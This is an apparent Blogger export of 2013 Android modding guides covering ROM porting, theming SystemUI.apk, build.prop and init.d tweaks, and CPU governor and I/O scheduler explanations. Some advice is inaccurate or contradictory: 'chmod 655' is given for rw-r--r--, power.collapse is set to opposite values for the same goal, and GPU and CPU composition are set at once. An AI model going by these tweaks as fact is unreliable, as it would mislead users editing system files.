<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Save youre changes</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">on build.prop your done-------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">--------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Now go in the META-INF folder-com-google-android and open the updater-script with Notepad++ and change here all lines with p700 to e610 too,otherwise you will have status7 installing aborted when flashing.</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Save it</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Here you done too-------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">--------------------------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Now delete the boot.img from the rom and put your boot.img(i have used pinks pa oc kernel)in it.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Note:The kernel must be working on the Android version from the rom.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">-------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Just zip the folder.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Go to your Phones recovery mount system/data/cache etc and make a Nandroid backup,for restoring in case anything goes wrong.</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">When backup is ready mount system/data/cache and format them and wipe dalvik.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Now choose install zip from sdcard(internal or external,where its stored)and flash the rom,after this flash gapps when needet and reboot system.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Dont panic it need some time,be patient.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">-------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ENJOYYYYYYYYYY!!!!!!!!!!</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">-------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">When youre not on have a Computer you can do it on youre phone too.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">For this you need only the app "RootExplorer" or similar root file browser.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">All steps are the same,but it needs many time for extract and rezipping.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">----------------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Have Fun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">----------------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">I AM NOT RESPONSIBLE IN CASE THERE GOES ANYTHING WRONG LIKE BOOTLOOP,DEAD SD CARDS,BRICKED PHONES OR ANGRY WIFES etc.!!!</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">----------------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">GREEEEEEEEEEEETZ!!!!!!!</span>-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-2533742244404205122013-07-28T16:00:00.004+02:002013-07-28T16:00:29.033+02:00FirmwareFlash with ODIN for SGY+SGY-Duos(Samsung)<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBfsVO16NxL9ry0mDl9mx42YBDlB1ia2Nj272EcN6xrPIL4ycHmBNDvKmFm-jwG_E1nssUkTdX7X4LHo6DtStJQXLOIgJQvK7BhHjeZlUWu0-Zj6E9LgQbVmKuW0_B_mhanWweW7xnB38/s1600/FIRMWAREFLASH+WITH+ODIN-THE+EASY+WAY.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBfsVO16NxL9ry0mDl9mx42YBDlB1ia2Nj272EcN6xrPIL4ycHmBNDvKmFm-jwG_E1nssUkTdX7X4LHo6DtStJQXLOIgJQvK7BhHjeZlUWu0-Zj6E9LgQbVmKuW0_B_mhanWweW7xnB38/s640/FIRMWAREFLASH+WITH+ODIN-THE+EASY+WAY.png" width="640" /></a></div>
<br />-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-74993480033477349172013-07-28T15:53:00.003+02:002013-07-28T15:53:38.241+02:00Rom Porting,the easy and lazy Way!!!!!Have tested many times and it have ever worked,but its recomned to read and follow the Guide.<br />
-----------------------------------------------------------------------------------------------------------<br />
Things Needed-Winrar/7zip,Notepad++,a Base Rom and the Rom you will Port<br />
----------------------------------<br />
The best is to use Roms from same Manufacturer with same screen resolution and You can use this Method to port roms From armv6 to armv7 devices but I dont know about the method used to port roms from armv7 to armv6 devices..<br />
<br />
What is base Rom:<br />
The ROM which is Developed For your Mobile..<br />
What is Port Rom:<br />
The Rom Which you want to port to your Device.<br />
STEP1;<br />
Take any clean CM9, AOSP, CM7, CM10 ROM which is running on your device as Base ROM.<br />
<br />
STEP2:<br />
Extract it Using Winrar.<br />
<br />
STEP3:<br />
Take the ROM you want to port. This Port ROM. Extract it also using Winrar.<br />
<br />
STEP4:<br />
Delete app, Framework, Fonts and Media folder in System Folder of Base ROM.<br />
<br />
STEP5:<br />
Now copy app, Framework, Fonts and Media folder in System Folder from Port rom to base rom system folder.<br />
<br />
STEP6:<br />
Now open etc folder in both the ROMs folder.<br />
<br />
STEP7:<br />
In etc folder of base ROM open permissions folder and copy all the permissions files in Port rom to your base ROM folder except platform and handheld_hardware .And Then open init.d Folder in Base ROM and Delete Every thing except banner and then copy all the files inside init.d folder of port ROM to Base ROM.<br />
<br />
STEP8:<br />
Now open buid.prop file using Notepad++ and make changes to these of Base Rom as you wish.<br />
<br />
ro.build.id=<br />
ro.build.display.id=<br />
ro.build.date=<br />
ro.modversion=<br />
<br />
STEP9:<br />
In build.prop file change these to same as Port Rom build.prop values.<br />
ro.config.ringtone=<br />
ro.config.notification_sound=<br />
ro.config.alarm_alert=<br />
<br />
Also Copy anything you Find Extra in ADDITIONAL BUILD PROPERTIES related to theme..<br />
<br />
STEP10:<br />
COPY THE set_perm Lines in META-INF/com/google/android/updater-script From Port to Base ROM After Deleting set_perm lines in Base ROM's Updater-Script.<br />
<br />
STEP11:<br />
If You find any extra file or folder in system folder of PORT rom than copy them to your base rom system folder.<br />
<br />
STEP12:<br />
Last Step to ZIP THE FOLDERS IN ONE..<br />
SELECT META-INF, system, boot.img(if it is having), data(if it is having).<br />
Right Click and Select Add to Archive..<br />
Select Zip..<br />
Type the Name.<br />
Click OK..<br />
<br />
IF YOU ARE HAVING BOOTLOOP THEN COPY THESE LIB FILES TO BASE ROM FROM PORT ROM:<br />
libandroid_runtime.so<br />
libandroid_servers.so<br />
libmedia_jni.so<br />
IF YOUR BASE ROM HAS ISSUES LIKE CAMERA ISSUE THAN YOUR PORTED ROM TOO WILL HAVE ISSUES.<br />
<br />
NOW ZIP YOUR ROM AND POST IT BUT DON'T FORGET TO GIVE CREDITS TO THE DEVELOPER OF PORT ROM..<br />
-------------------------------------------------------------------------------------------------------------CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-79125262213419653712013-07-28T15:46:00.004+02:002013-07-28T15:46:50.249+02:00Just a basic background on how to theme your ROMSAs the title says a BasicGuide for theme Roms,easy and fast,dont forget the thanx for the real RomDev.!!!<br />
------------------------------------------------------------------------------------------------------------<br />
NOTE:Its recomned to use a Deodexed Rom!!!<br />
-------------------------------------------------<br />
I just made it easy for easy understanding and for the newbies.<br />
<br />
Tried so many times and tested<br />
<br />
I've already tried editing the systemUI.apk of different ROMs.<br />
<br />
Here's what I did :<br />
<br />
FIRST : Download 7zip to open the archived apk. - that's free.<br />
<br />
Extracting first the Zip File..<br />
(make sure you copy the original before extracting it for back up)<br />
<br />
1. Download the ROM.zip and extract it to your PC.<br />
2. Go to \system\app\SystemUI.apk\res\drawable-ldpi\<br />
3. View the PNG files you wanted to change and make sure to remember its' file name.<br />
4. After editing/changing the file/image you wanted, you can save it anywhere from your PC, let's say on your Desktop.<br />
- Make sure that the file name still remains as is..<br />
---------------------------------------------------<br />
*After you're done editing, updating the PNG files you wish to change, follow this steps to update the zip file :<br />
<br />
NOTE : You can apply transparency by editing the PNG file to photoshop by reducing the opacity of the image <br />
------------------------------------------------------<br />
1. Go to the original ZIP file of ROM.Zip from your PC<br />
2. Right Click the folder and select 7 ZIP -->> open archive<br />
3. Close all of windows/Browers (or minimize)<br />
4. Go to \system\app\SystemUI.apk\res\drawable-ldpi\ and it will open a new window of 7zip showing the files inside the zip.<br />
5. Now, given your edited PNG files or downloaded png files (assuming that files are located in your desktop). - Click and simply DRAG the file(s) from your desktop to \system\app\SystemUI.apk\res\drawable-ldpi\ .<br />
6. It will ask you to confirm the action for it will replace the existing PNG file that you're trying to change.<br />
7. Make sure that the file name of the one you edited/downloaded are THE SAME. -<br />
8. After dragging and replacing the files you wanted, then you're good to go!<br />
9. Close the 7zip window and that's it!.<br />
<br />
You can now install the .zip by copying the UPDATED zip file to your SD Card.<br />
(Note: Make sure to copy the updated one, not the backed up one)<br />
<br />
Install the zip file from the original thread's instructions and reboot twice.<br />
<br />
After that, you have now a customized systemUI.apk.<br />
-----------------------------------------------------------------------------------------------------------<br />
For those who do not want to reinstall the whole package.. follow these steps:<br />
-------------------------------------------------------------------------------<br />
1. I assumed that you have the zip file of your ROM.<br />
2. Extract it and go to \system\app\<br />
3. Separate the SystemUi.apk - put it on your desktop. create a back up,<br />
Right Click SystemUi.apk and select 7 ZIP -->> extract here - just to view the files you wanted to change.<br />
Just go the folder and search for the PNG files.<br />
<br />
4. Right Click SystemUi.apk and select 7 ZIP -->> open archive.<br />
5. Go to \res\drawable-ldpi\<br />
6. Click and simply DRAG the PNG file(s) from your desktop to \res\drawable-ldpi\<br />
7. It will ask you to confirm the action for it will replace the existing PNG file that you're trying to change.<br />
8. Make sure that the file name of the one you edited/downloaded are THE SAME. -<br />
9. After dragging and replacing the files you wanted, then you're good to go!<br />
-----------------------------------<br />
APPLYING :<br />
--------------<br />
1. Download and install rootexplorer.apk<br />
2. Download the png files you wanted to update.<br />
3. Copy and paste the NEW SystemUi.apk that you have updated/Edited to your SD card.<br />
4. Open root explorer in your galaxy y then go and tap MOUNT R/W.<br />
5. Go to \SDCard and go to new SystemUI.apk that you have updated.<br />
6. Long press the file and select copy<br />
7. Press back and go to \system\app - tap MOUNT R/W at the top.<br />
8. Paste the new SystemUI.apk from there.<br />
(Note : You will encounter a lot of force closes for the exixsting systemui is currently being used by your phone. - just ignore it a lot and scroll down to look for the new SystemUI.apk.<br />
9. Once you get there, long press on it and select permissions:<br />
from the pop up, make the checked one like this : ------------------ in letters: rw-r-r--<br />
[ x ] x ] ] with Terminal Emulator: chmod 655<br />
[ x ] ] ]<br />
[ x ] ] ]<br />
-----------------<br />
<br />
---------------------------------------------------------------------------------------------------------- After encountering a lot of force closes,(no panic)reboot the phone and that's it!<br />
(Force Closes are normal, DON't PANIC - logically, you are currently using your systemUI.apk so just ignore it<br />
<br />
NOTE : You can also apply the same steps in editing system files apps, just edit the .png files and locate it using 7zip(when you already opened it). Have a little LOGIC on how to edit system app background - same process. just different apk files and directory<br />
------------------------------------------------------------------------------------------------------------ more to come-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-38199969789295027902013-07-28T15:30:00.002+02:002013-07-28T15:30:29.710+02:00Build.prop Tweaking,a lil GuideThis Guide is for explaining and guiding to tweak the build.prop a lil bit(root needed),only with RootExplorer.<br />
------------------------------------------------------------------------------------------------------------<br />
How to:<br />
--------<br />
1, Open "Root Explorer" and click the R/W<br />
2, Go to /system/build.prop.<br />
3,backup yout current build.prop.<br />
4, Long-presson Build.Prop and you’ll see a pop up.<br />
5, Text Editor.<br />
6, Type in those few line of words below into the last line of the text then save.<br />
7,reboot and enjoy<br />
--------------------<br />
Data Tweaks Increase download/upload/3G speeds<br />
----------------------------------------------------<br />
ro.ril.hsxpa=1<br />
ro.ril.gprsclass=10<br />
ro.ril.hep=1<br />
ro.ril.enable.dtm=0<br />
ro.ril.hsdpa.category=8 (or 10,12,14) Still looking for more of these though.<br />
ro.ril.enable.a53=1<br />
ro.ril.enable.3g.prefix=1<br />
ro.ril.htcmaskw1.bitmask=4294967295<br />
ro.ril.htcmaskw1=14449<br />
ro.ril.hsupa.category=6<br />
----------------------------<br />
POWER SAVES<br />
------------------<br />
Allows the phone to sleep better<br />
ro.ril.disable.power.collapse=1<br />
<br />
Saves power when phone is sleep<br />
pm.sleep_mode=1<br />
<br />
Allows your wifi to scan less, saving more battery<br />
wifi.supplicant_scan_interval=150 or 180 (your choice)<br />
<br />
Helps Scrolling Responsiveness<br />
windowsmgr.max_events_per_sec=150<br />
<br />
Increase overal touch responsivenss<br />
Debug.performance.tuning=1<br />
Video.accelerate.hw=1<br />
---------------------------------------<br />
SYSTEM TWEAKS<br />
---------------------<br />
Forces your home launcher into memory<br />
ro.HOME_APP_ADJ=1<br />
<br />
Change the Dalvik VM heap size<br />
dalvik.vm.heapsize=64m can use 24, 32 is default, 48, 64<br />
<br />
To disable usb debugging popup<br />
persist.adb.notify=0<br />
<br />
Fix some application issues<br />
ro.kernel.android.checkjni=0<br />
<br />
Render UI with GPU<br />
debug.sf.hw=1<br />
<br />
These lines forces GPU&CPU to render graphics<br />
debug.composition.type=gpu<br />
debug.composition.type=cpu<br />
------------------------------------------------------------------------------------------------------------<br />
more is coming-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-15969221238804788312013-07-28T15:23:00.002+02:002013-07-28T15:23:33.818+02:00Guide and Info about Governor and Io Sheduler SettingsHere is a Guide that explain how which Governor+IO Sheduler how work and which are the best settings!!!<br />
------------------------------------------------------------------------------------------------------------<br />
-------------------------------------------CPU Governors:------------------------------------------------<br />
------------------<br />
1.OnDemand Governor:<br />
<br />
This governor has a hair trigger for boosting clockspeed to the maximum speed set by the user. If the CPU load placed by the user abates, the OnDemand governor will slowly step back down through the kernel's frequency steppings until it settles at the lowest possible frequency, or the user executes another task to demand a ramp.<br />
<br />
OnDemand has excellent interface fluidity because of its high-frequency bias, but it can also have a relatively negative effect on battery life versus other governors. OnDemand is commonly chosen by smartphone manufacturers because it is well-tested, reliable, and virtually guarantees the smoothest possible performance for the phone. This is so because users are vastly more likely to bitch about performance than they are the few hours of extra battery life another governor could have granted them.<br />
<br />
This final fact is important to know before you read about the Interactive governor: OnDemand scales its clockspeed in a work queue context. In other words, once the task that triggered the clockspeed ramp is finished, OnDemand will attempt to move the clockspeed back to minimum. If the user executes another task that triggers OnDemand's ramp, the clockspeed will bounce from minimum to maximum. This can happen especially frequently if the user is multi-tasking. This, too, has negative implications for battery life.<br />
----------------------------<br />
2: Performance Governor:<br />
<br />
This locks the phone's CPU at maximum frequency. While this may sound like an ugly idea, there is growing evidence to suggest that running a phone at its maximum frequency at all times will allow a faster race-to-idle. Race-to-idle is the process by which a phone completes a given task, such as syncing email, and returns the CPU to the extremely efficient low-power state. This still requires extensive testing, and a kernel that properly implements a given CPU's C-states (low power states).<br />
----------------------------------<br />
3: Powersave Governor:<br />
<br />
The opposite of the Performance governor, the Powersave governor locks the CPU frequency at the lowest frequency set by the user.<br />
---------------------------------<br />
4:Conservative Governor:<br />
<br />
This biases the phone to prefer the lowest possible clockspeed as often as possible. In other words, a larger and more persistent load must be placed on the CPU before the conservative governor will be prompted to raise the CPU clockspeed. Depending on how the developer has implemented this governor, and the minimum clockspeed chosen by the user, the conservative governor can introduce choppy performance. On the other hand, it can be good for battery life.<br />
-----------------------<br />
5: Userspace Governor:<br />
<br />
This governor, exceptionally rare for the world of mobile devices, allows any program executed by the user to set the CPU's operating frequency. This governor is more common amongst servers or desktop PCs where an application (like a power profile app) needs privileges to set the CPU clockspeed.<br />
-----------------------<br />
6: Min Max<br />
<br />
well this governor makes use of only min & maximum frequency based on workload... no intermediate frequencies are used.<br />
------------------------<br />
7: Interactive Governor:<br />
<br />
Much like the OnDemand governor, the Interactive governor dynamically scales CPU clockspeed in response to the workload placed on the CPU by the user. This is where the similarities end. Interactive is significantly more responsive than OnDemand, because it's faster at scaling to maximum frequency.<br />
------------------------<br />
8: InteractiveX Governor:<br />
<br />
InteractiveX governor is based heavily on the Interactive governor, enhanced with tuned timer parameters to better balance battery vs. performance. The InteractiveX governor's defining feature, however, is that it locks the CPU frequency to the user's lowest defined speed when the screen is off.<br />
------------------------<br />
9: Lagfree:<br />
<br />
Lagfree is similar to ondemand. Main difference is it's optimization to become more battery friendly. Frequency is gracefully decreased and increased, unlike ondemand which jumps to 100% too often. Lagfree does not skip any frequency step while scaling up or down. Remember that if there's a requirement for sudden burst of power, lagfree can not satisfy that since it has to raise cpu through each higher frequency step from current. Some users report that video playback using lagfree stutters a little.<br />
--------------------------<br />
10: SmartassV2:<br />
<br />
Version 2 of the original smartass governor from Erasmux. Another favorite for many a people. The governor aim for an "ideal frequency", and ramp up more aggressively towards this freq and less aggressive after. It uses different ideal frequencies for screen on and screen off, namely awake_ideal_freq and sleep_ideal_freq.<br />
---------------------------<br />
11: Smartass<br />
<br />
Is based on the concept of the interactive governor.<br />
I have always agreed that in theory the way interactive works – by taking over the idle loop – is very attractive. I have never managed to tweak it so it would behave decently in real life. Smartass is a complete rewrite of the code plus more. I think its a success. Performance is on par with the “old” minmax and I think smartass is a bit more responsive. Battery life is hard to quantify precisely but it does spend much more time at the lower frequencies<br />
----------------------------<br />
12: Scary<br />
<br />
A new governor wrote based on conservative with some smartass features, it scales accordingly to conservatives laws. So it will start from the bottom, take a load sample, if it's above the upthreshold, ramp up only one speed at a time, and ramp down one at a time. It will automatically cap the off screen speeds to 245Mhz, and if your min freq is higher than 245mhz, it will reset the min to 120mhz while screen is off and restore it upon screen awakening, and still scale accordingly to conservatives laws. So it spends most of its time at lower frequencies. The goal of this is to get the best battery life with decent performance.<br />
----------------------------<br />
13: Brazilianwax:<br />
<br />
Similar to smartassV2. More aggressive ramping, so more performance, less battery<br />
-----------------------------<br />
14: SavagedZen:<br />
<br />
Another smartassV2 based governor. Achieves good balance between performance & battery as compared to brazilianwax.<br />
--------------------------------<br />
15: Lazy:<br />
<br />
This governor from Ezekeel is basically an ondemand with an additional parameter min_time_state to specify the minimum time CPU stays on a frequency before scaling up/down. The Idea here is to eliminate any instabilities caused by fast frequency switching by ondemand. Lazy governor polls more often than ondemand, but changes frequency only after completing min_time_state on a step overriding sampling interval. Lazy also has a screenoff_maxfreq parameter which when enabled will cause the governor to always select the maximum frequency while the screen is off.<br />
--------------------------------<br />
18: Lionheart:<br />
<br />
Lionheart is a conservative-based governor which is based on samsung's update3 source.<br />
The tunables (such as the thresholds and sampling rate) were changed so the governor behaves more like the performance one, at the cost of battery as the scaling is very aggressive.<br />
------------------------------------------------------------------------------------------------------------<br />
--------------------------------------------I/O Schedulers:-------------------------------------------------<br />
----------------<br />
1) Noop<br />
---------<br />
Inserts all the incoming I/O requests to a First In First Out queue and implements request merging. Best used with storage devices that does not depend on mechanical movement to access data (yes, like our flash drives). Advantage here is that flash drives does not require reordering of multiple I/O requests unlike in normal hard drives.<br />
<br />
Advantages:<br />
Serves I/O requests with least number of cpu cycles. (Battery friendly?)<br />
Best for flash drives since there is no seeking penalty.<br />
Good throughput on db systems.<br />
<br />
Disadvantages:<br />
Reduction in number of cpu cycles used is proportional to drop in performance.<br />
------------------------------<br />
2) Deadline<br />
------------<br />
Goal is to minimize I/O latency or starvation of a request. The same is achieved by round robin policy to be fair among multiple I/O requests. Five queues are aggressively used to reorder incoming requests.<br />
<br />
Advantages:<br />
Nearly a real time scheduler.<br />
Excels in reducing latency of any given single I/O.<br />
Best scheduler for database access and queries.<br />
Bandwidth requirement of a process - what percentage of CPU it needs, is easily calculated.<br />
Like noop, a good scheduler for solid state/flash drives.<br />
<br />
Disadvantages:<br />
When system is overloaded, set of processes that may miss deadline is largely unpredictable.<br />
------------------------------<br />
3) CFQ<br />
--------<br />
Completely Fair Queuing scheduler maintains a scalable per-process I/O queue and attempts to distribute the available I/O bandwidth equally among all I/O requests. Each per-process queue contains synchronous requests from processes. Time slice allocated for each queue depends on the priority of the 'parent' process. V2 of CFQ has some fixes which solves process' i/o starvation and some small backward seeks in the hope of improving responsiveness.<br />
<br />
Advantages:<br />
Considered to deliver a balanced i/o performance.<br />
Easiest to tune.<br />
Excels on multiprocessor systems.<br />
Best database system performance after deadline.<br />
<br />
Disadvantages:<br />
Some users report media scanning takes longest to complete using CFQ. This could be because of the property that since the bandwidth is equally distributed to all i/o operations during boot-up, media scanning is not given any special priority.<br />
Jitter (worst-case-delay) exhibited can sometimes be high, because of the number of tasks competing for the disk.<br />
---------------------------------<br />
5) SIO<br />
--------<br />
Simple I/O scheduler aims to keep minimum overhead to achieve low latency to serve I/O requests. No priority quesues concepts, but only basic merging. Sio is a mix between noop & deadline. No reordering or sorting of requests.<br />
<br />
Advantages:<br />
Simple, so reliable.<br />
Minimized starvation of requests.<br />
<br />
Disadvantages:<br />
Slow random-read speeds on flash drives, compared to other schedulers.<br />
Sequential-read speeds on flash drives also not so good.<br />
---------------------------<br />
6) V(R)<br />
---------<br />
Unlike other schedulers, synchronous and asynchronous requests are not treated separately, instead a deadline is imposed for fairness. The next request to be served is based on it's distance from last request.<br />
<br />
Advantages:<br />
May be best for benchmarking because at the peak of it's 'form' VR performs best.<br />
<br />
Disadvantages:<br />
Performance fluctuation results in below-average performance at times.<br />
Least reliable/most unstable.<br />
------------------------------------------------------------------------------------------------------------<br />
more to come<br />
--------------<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-36833032366451102082013-07-08T17:42:00.001+02:002013-07-08T17:42:46.164+02:00A GUIDE ABOUT BUILDPROP+INIT.D(KERNEL)TWEAKS!!!!Build.prop<br />
(edit your /system/build.prop with a file manager with root access)<br />
<br />
Careful for already existing settings. In this case, just change the values.<br />
<br />
1. Force launcher into memory<br />
Code:<br />
ro.HOME_APP_ADJ=1<br />
2. Raise JPG quality to 100%<br />
Code:<br />
ro.media.enc.jpeg.quality=100<br />
3. VM Heapsize; higher the RAM, higher the hp can be<br />
Code:<br />
dalvik.vm.heapsize=48m<br />
4. Render UI with GPU<br />
Code:<br />
debug.sf.hw=1<br />
5. Decrease dialing out delay<br />
Code:<br />
ro.telephony.call_ring.delay=0<br />
6. Helps scrolling responsiveness<br />
Code:<br />
windowsmgr.max_events_per_sec=150<br />
7. Save battery<br />
Code:<br />
wifi.supplicant_scan_interval=180<br />
pm.sleep_mode=1<br />
ro.ril.disable.power.collapse=0<br />
8. Disable debugging notify icon on statusbar<br />
Code:<br />
persist.adb.notify=0<br />
9. Increase overall touch responsiveness<br />
Code:<br />
debug.performance.tuning=1<br />
video.accelerate.hw=1<br />
10. Raise photo and video recording quality<br />
Code:<br />
ro.media.dec.jpeg.memcap=8000000<br />
ro.media.enc.hprof.vid.bps=8000000<br />
11. Signal (3G) tweaks<br />
Code:<br />
ro.ril.hsxpa=2<br />
ro.ril.gprsclass=10<br />
ro.ril.hep=1<br />
ro.ril.enable.dtm=1<br />
ro.ril.hsdpa.category=10<br />
ro.ril.enable.a53=1<br />
ro.ril.enable.3g.prefix=1<br />
ro.ril.htcmaskw1.bitmask=4294967295<br />
ro.ril.htcmaskw1=14449<br />
ro.ril.hsupa.category=5<br />
12. Net speed tweaks<br />
Code:<br />
net.tcp.buffersize.default=4096,87380,256960,4096,16384,256960<br />
net.tcp.buffersize.wifi=4096,87380,256960,4096,16384,256960<br />
net.tcp.buffersize.umts=4096,87380,256960,4096,16384,256960<br />
net.tcp.buffersize.gprs=4096,87380,256960,4096,16384,256960<br />
net.tcp.buffersize.edge=4096,87380,256960,4096,16384,256960<br />
13. Disable blackscreen issue after a call<br />
Code:<br />
ro.lge.proximity.delay=25<br />
mot.proximity.delay=25<br />
14. Fix some application issues<br />
Code:<br />
ro.kernel.android.checkjni=0<br />
15. Phone will not wake up from hitting the volume rocker<br />
Code:<br />
ro.config.hwfeature_wakeupkey=0<br />
16. Force button lights on when screen is on<br />
Code:<br />
ro.mot.buttonlight.timeout=0<br />
17. Disable boot animation for faster boot<br />
Code:<br />
debug.sf.nobootanimation=1<br />
18. Miscellaneous flags<br />
Code:<br />
ro.config.hw_menu_unlockscreen=false<br />
persist.sys.use_dithering=0<br />
persist.sys.purgeable_assets=1<br />
dalvik.vm.dexopt-flags=m=y<br />
ro.mot.eri.losalert.delay=1000<br />
19. Specifics to some LG devices<br />
Code:<br />
persist.service.pcsync.enable=0<br />
persist.service.lgospd.enable=0<br />
user.feature.flex=true<br />
user.feature.lgdrm=false<br />
user.feature.lgresource=false<br />
user.feature.lgpoweroff=false<br />
user.feature.ls_event=false<br />
user.feature.ls_normal=false<br />
user.feature.sui=false<br />
<br />
Init.d<br />
(needs ROM with init.d access and busybox, open empty file, insert header #!/system/bin/sh and put these there, save in /system/etc/init.d and name it something like 77tweaks)<br />
<br />
1. strict minfree handler tweak<br />
Code:<br />
echo "2048,3072,6144,15360,17920,20480" > /sys/module/lowmemorykiller/parameters/minfree<br />
2. internet speed tweaks<br />
Code:<br />
echo "0" > /proc/sys/net/ipv4/tcp_timestamps;<br />
echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse;<br />
echo "1" > /proc/sys/net/ipv4/tcp_sack;<br />
echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle;<br />
echo "1" > /proc/sys/net/ipv4/tcp_window_scaling;<br />
echo "5" > /proc/sys/net/ipv4/tcp_keepalive_probes;<br />
echo "30" > /proc/sys/net/ipv4/tcp_keepalive_intvl;<br />
echo "30" > /proc/sys/net/ipv4/tcp_fin_timeout;<br />
echo "404480" > /proc/sys/net/core/wmem_max;<br />
echo "404480" > /proc/sys/net/core/rmem_max;<br />
echo "256960" > /proc/sys/net/core/rmem_default;<br />
echo "256960" > /proc/sys/net/core/wmem_default;<br />
echo "4096,16384,404480" > /proc/sys/net/ipv4/tcp_wmem;<br />
echo "4096,87380,404480" > /proc/sys/net/ipv4/tcp_rmem;<br />
3. vm management tweaks<br />
Code:<br />
echo "4096" > /proc/sys/vm/min_free_kbytes<br />
